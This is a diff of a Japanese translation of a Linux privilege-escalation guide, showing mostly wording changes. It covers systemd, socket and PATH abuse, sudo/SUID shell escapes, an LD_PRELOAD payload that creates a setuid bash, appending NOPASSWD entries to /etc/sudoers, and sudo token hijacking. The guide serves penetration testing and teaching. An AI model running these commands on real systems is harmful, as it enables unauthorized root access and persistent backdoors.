"\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます** (これにより、開始されるすべてのプロセスが監視され、リストされます)。 +**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます**(これは開始されるすべてのプロセスを監視してリストします)。 ### 見えないcronジョブ @@ -380,8 +380,8 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### 書き込み可能な _.service_ ファイル -任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにすることが**できます**(おそらく、マシンが再起動されるまで待つ必要があります)。\ -例えば、`.service` ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 +任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**、サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにすることができます(マシンが再起動されるまで待つ必要があるかもしれません)。\ +例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 ### 書き込み可能なサービスバイナリ @@ -393,13 +393,13 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -もし、パスのフォルダのいずれかに**書き込む**ことができる場合、**特権を昇格**させることができるかもしれません。次のようなサービス設定ファイルで使用されている**相対パス**を探す必要があります: +もしパスのフォルダのいずれかに**書き込む**ことができる場合、**特権を昇格**させることができるかもしれません。次のようなサービス設定ファイルで使用されている**相対パス**を探す必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、書き込み可能なsystemd PATHフォルダー内にある**相対パスバイナリ**と**同じ名前の** **実行可能ファイル**を作成し、サービスが脆弱なアクション(**開始**、**停止**、**リロード**)を実行するように求められたときに、あなたの**バックドアが実行されます**(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。 +次に、書き込み可能なsystemd PATHフォルダー内にある**相対パスバイナリ**と**同じ名前の** **実行可能ファイル**を作成し、サービスが脆弱なアクション(**Start**、**Stop**、**Reload**)を実行するように求められたときに、あなたの**バックドアが実行されます**(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。 **`man systemd.service`でサービスについて詳しく学びましょう。** @@ -419,12 +419,12 @@ Unit=backdoor.service ``` ドキュメントでは、ユニットについて次のように説明されています: -> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は ".timer" ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマーユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。 +> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は ".timer" ではありません。指定されていない場合、この値はタイマー ユニットと同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマー ユニットのユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。 したがって、この権限を悪用するには、次のことが必要です: - **書き込み可能なバイナリを実行している** systemd ユニット(例えば `.service`)を見つける -- **相対パスを実行している** systemd ユニットを見つけ、**systemd PATH** に対して **書き込み権限** を持つ(その実行可能ファイルを偽装するため) +- **相対パスを実行している** systemd ユニットを見つけ、**systemd PATH** に対して **書き込み権限** を持っている(その実行可能ファイルを偽装するため) **タイマーについて詳しくは `man systemd.timer` を参照してください。** @@ -453,12 +453,12 @@ Unixドメインソケット(UDS)は、クライアント-サーバーモデ ### 書き込み可能な.socketファイル -**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に次のようなものを**追加**できます:`ExecStartPre=/home/kali/sys/backdoor`、これによりソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ +**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に次のように追加できます:`ExecStartPre=/home/kali/sys/backdoor`、これによりソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ &#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ ### 書き込み可能なソケット -**書き込み可能なソケットを特定した場合**(_今はUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 +**書き込み可能なソケット**を**特定した場合**(_ここではUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 ### Unixソケットの列挙 ```bash @@ -491,7 +491,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替方法を以下に示します。 -#### **Docker CLIによる特権昇格** +#### **Docker CLIを使用した特権昇格** Dockerソケットへの書き込みアクセスがある場合、次のコマンドを使用して特権を昇格させることができます: ```bash @@ -536,9 +536,9 @@ Upgrade: tcp ### その他 -**`docker`グループの中にいるために、dockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/#docker-group)。もし[**docker APIがポートでリスニングしている場合、あなたはそれを妥協することもできるかもしれません**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 +**`docker`グループの中にいるために** dockerソケットに対する書き込み権限がある場合、[**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/#docker-group)。もし[**docker APIがポートでリスニングしている場合、あなたはそれを妥協することもできるかもしれません**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -**dockerから抜け出す方法やそれを悪用して特権を昇格させる方法については、以下を確認してください:** +**dockerから抜け出す方法やそれを悪用して特権を昇格させる方法**を確認してください: {{#ref}} docker-security/ @@ -566,9 +566,9 @@ D-Busは、アプリケーションが効率的に相互作用し、データを このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 -D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの累積的な効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。 +D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。 -`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。 +`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限を詳細に説明しています。 指定されたユーザーやグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 ```xml @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 一般的な列挙 -**who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**でき、どのユーザーが**root privileges**を持っているかを確認します。 +**who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**でき、どのユーザーが**root privileges**を持っているかを確認してください。 ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -一部のLinuxバージョンは、**UID > INT_MAX**のユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ -**これを利用する**には: **`systemd-run -t /bin/bash`** +いくつかのLinuxバージョンは、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ +**これを利用する**: **`systemd-run -t /bin/bash`** ### Groups -ルート特権を付与する可能性のある**グループのメンバー**であるか確認してください: +あなたがルート特権を付与する可能性のある**グループのメンバー**であるか確認してください: {{#ref}} interesting-groups-linux-pe/ @@ -687,14 +687,14 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### Su Brute -多くのノイズを出すことを気にしないのであれば、`su`と`timeout`バイナリがコンピュータに存在する場合、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\ +多くのノイズを出すことを気にしない場合、`su`と`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使ってユーザーをブルートフォースすることができます。\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。 ## 書き込み可能なPATHの悪用 ### $PATH -もしあなたが**$PATHのいくつかのフォルダー内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダー内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダーよりも前に位置するフォルダーから**読み込まれない**ものでなければなりません。 +もしあなたが**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、**あなたの書き込み可能なフォルダよりも前に位置するフォルダからは読み込まれない**必要があります。 ### SUDOとSUID @@ -703,7 +703,7 @@ sudoを使用していくつかのコマンドを実行することが許可さ sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを可能にします。** 例えば: +いくつかの**予期しないコマンドにより、ファイルを読み書きしたり、コマンドを実行したりすることができます。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -714,7 +714,7 @@ less>! ``` ### NOPASSWD -Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの +Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でいくつかのコマンドを実行できる場合があります。 ``` $ sudo -l User demo may run the following commands on crashlab: @@ -769,9 +769,9 @@ sudo less ### コマンドパスを持つ SUID バイナリ -もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート** しようとすることができます。 +もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート** してみることができます。 -例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります: +例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートしてみる必要があります: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -780,14 +780,14 @@ export -f /usr/sbin/service ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`を含む)よりも前にロードされる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 +**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`)を含む前にロードされる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。 -しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します: +しかし、システムのセキュリティを維持し、この機能が特に **suid/sgid** 実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します: -- ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。 -- suid/sgidの実行可能ファイルに対しては、標準パスにあり、かつsuid/sgidであるライブラリのみがプリロードされます。 +- ローダーは、実ユーザーID (_ruid_) が有効ユーザーID (_euid_) と一致しない実行可能ファイルに対して **LD_PRELOAD** を無視します。 +- suid/sgid の実行可能ファイルに対しては、suid/sgid でもある標準パスのライブラリのみがプリロードされます。 -特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行される際にも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 +特権昇格は、`sudo` でコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときでも認識されるため、特権のある状態で任意のコードが実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行すると、ファイルの権限を操作し、昇格した権限でシェルを実行することによって特権を昇格させることを目的としています。 +このコードは、コンパイルして実行すると、ファイルの権限を操作し、特権のあるシェルを実行することで特権を昇格させることを目的としています。 上記のCファイルを共有オブジェクト(.so)ファイルにコンパイルするには: ```bash @@ -901,9 +901,13 @@ system("/bin/bash -p"); > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo @@ -911,12 +915,12 @@ system("/bin/bash -p"); ### Sudoトークンの再利用 -**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることによって特権を昇格させる**ことができます。 +**sudoアクセス**はあるがパスワードがない場合、**sudoコマンドの実行を待ってからセッショントークンをハイジャックすることで特権を昇格させる**ことができます。 特権を昇格させるための要件: - "_sampleuser_" としてシェルを持っている -- "_sampleuser_" が**最後の15分間**に**`sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) +- "_sampleuser_" が**過去15分以内に `sudo`**を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です) - `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である - `gdb` にアクセス可能である(アップロードできる必要があります) @@ -924,13 +928,13 @@ system("/bin/bash -p"); これらの要件がすべて満たされている場合、**次の方法で特権を昇格させることができます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **最初のエクスプロイト** (`exploit.sh`) は、_ /tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にルートシェルは取得できませんので、`sudo su` を実行してください): +- **最初のエクスプロイト** (`exploit.sh`) は、_/tmp_ にバイナリ `activate_sudo_token` を作成します。これを使用して**セッション内でsudoトークンをアクティブにする**ことができます(自動的にrootシェルは取得できませんので、`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **二番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェル** を作成します。 +- **二番目のエクスプロイト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持つ root 所有の sh シェルを作成します** ```bash bash exploit_v2.sh /tmp/sh -p @@ -942,20 +946,20 @@ sudo su ``` ### /var/run/sudo/ts/\ -フォルダー内の作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\ -たとえば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知ることなく**sudo権限を取得**できます。 +フォルダ内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\ +例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。 ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\ -**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** かもしれません。そして、もしあなたが **任意のファイルに書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。 +**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる可能性があります**。また、**任意のファイルに書き込む** ことができれば、**特権を昇格させる** ことができます。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -この権限を悪用することができるのは、書き込みができる場合です。 +書き込みができれば、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -975,9 +979,9 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。次に、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなど)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 +もし**ユーザーが通常マシンに接続し、`sudo`を使用して特権を昇格させる**ことを知っていて、そのユーザーコンテキスト内でシェルを取得した場合、**新しいsudo実行可能ファイルを作成**して、あなたのコードをrootとして実行し、その後ユーザーのコマンドを実行させることができます。そして、**ユーザーコンテキストの$PATHを変更**します(例えば、.bash_profileに新しいパスを追加するなど)ので、ユーザーがsudoを実行すると、あなたのsudo実行可能ファイルが実行されます。 -ユーザーが異なるシェル(bash以外)を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。 +ユーザーが異なるシェル(bashではない)を使用している場合は、新しいパスを追加するために他のファイルを変更する必要があることに注意してください。例えば、[sudo-piggyback](https://github.com/APTy/sudo-piggyback)は`~/.bashrc`、`~/.zshrc`、`~/.bash_profile`を変更します。別の例は[bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)で見つけることができます。 または、次のようなコマンドを実行します: ```bash @@ -998,11 +1002,11 @@ sudo ls ### ld.so -ファイル `/etc/ld.so.conf` は **読み込まれた設定ファイルの場所** を示します。通常、このファイルには次のパスが含まれています: `include /etc/ld.so.conf.d/*.conf` +ファイル `/etc/ld.so.conf` は **読み込まれた設定ファイルの場所を示します**。通常、このファイルには次のパスが含まれています: `include /etc/ld.so.conf.d/*.conf` -これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索** されることになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。 +これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。**これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。 -何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\ +何らかの理由で **ユーザーが書き込み権限を持っている** 場所が次のいずれかである場合: `/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダ、彼は特権を昇格させることができるかもしれません。\ この誤設定を **どのように悪用するか** を次のページで確認してください: {{#ref}} @@ -1020,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -`lib`を`/var/tmp/flag15/`にコピーすることで、`RPATH`変数で指定されたこの場所でプログラムによって使用されます。 +`/var/tmp/flag15/`にlibをコピーすることで、`RPATH`変数で指定されたこの場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1044,8 +1048,8 @@ execve(file,argv,0); ``` ## Capabilities -Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、独特な単位に分割されます**。これらの単位は、プロセスに独立して付与することができます。この方法で、権限の完全なセットが減少し、悪用のリスクが低下します。\ -以下のページを読んで、**capabilitiesについて学び、どのように悪用するかを理解してください**: +Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、独特な単位に分割されます**。これらの単位は、プロセスに独立して付与することができます。この方法で、権限の完全なセットが削減され、悪用のリスクが低下します。\ +**capabilitiesとそれを悪用する方法について詳しく学ぶには、以下のページをお読みください**: {{#ref}} linux-capabilities.md @@ -1058,9 +1062,9 @@ linux-capabilities.md ## ACLs -アクセス制御リスト(ACL)は、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスを強化します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 +アクセス制御リスト(ACL)は、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスをより制御することを可能にします。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。 -**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を付与します**: +**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1120,7 +1124,7 @@ tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 2006年9月から2008年5月13日までの間にDebianベースのシステム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\ -このバグは、これらのOSで新しいsshキーを作成する際に発生し、**32,768のバリエーションしか可能ではありませんでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +このバグは、これらのOSで新しいsshキーを作成する際に発生し、**可能な変種は32,768通りのみ**でした。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSHの興味深い設定値 @@ -1147,19 +1151,19 @@ AuthorizedKeysFile .ssh/authorized_keys access ### ForwardAgent/AllowAgentForwarding -SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用します。 +SSH エージェントフォワーディングを使用すると、**サーバーにキーを置かずに**(パスフレーズなしで!)**ローカルの SSH キーを使用する**ことができます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用します。 -このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: +このオプションを `$HOME/.ssh.config` に次のように設定する必要があります: ``` Host example.com ForwardAgent yes ``` `Host`が`*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。 -ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\ -ファイル`/etc/sshd_config`は`AllowAgentForwarding`というキーワードを使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。 +ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否できます。\ +ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**できます(デフォルトはallowです)。 -Forward Agentが環境で設定されている場合、次のページを読むことをお勧めします。**権限を昇格させるために悪用できる可能性があります**: +Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**: {{#ref}} ssh-forward-agent-exploitation.md @@ -1169,7 +1173,7 @@ ssh-forward-agent-exploitation.md ### プロファイルファイル -ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、権限を昇格させることができます**。 +ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、特権を昇格させることができます**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` @@ -1282,8 +1286,8 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは、**パスワードを含む可能性のあるいくつかのファイルを検索します**。\ -**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読むと、**パスワードを含む可能性のあるいくつかのファイル**を検索します。\ +**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Mac用にローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。 ### ログ @@ -1308,14 +1312,14 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### 一般的なクレデンシャル検索/正規表現 -ファイル名や内容に「**password**」という単語が含まれているファイルをチェックし、ログ内のIPやメール、またはハッシュの正規表現も確認する必要があります。\ +ファイル名や内容に「**password**」という単語が含まれているファイル、ログ内のIPやメール、またはハッシュの正規表現をチェックする必要があります。\ これらすべての方法をここにリストするつもりはありませんが、興味がある場合は、[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 ## 書き込み可能なファイル ### Pythonライブラリのハイジャック -Pythonスクリプトが実行される**場所**を知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込める場合は、os.pyライブラリをコピーして貼り付けます)。 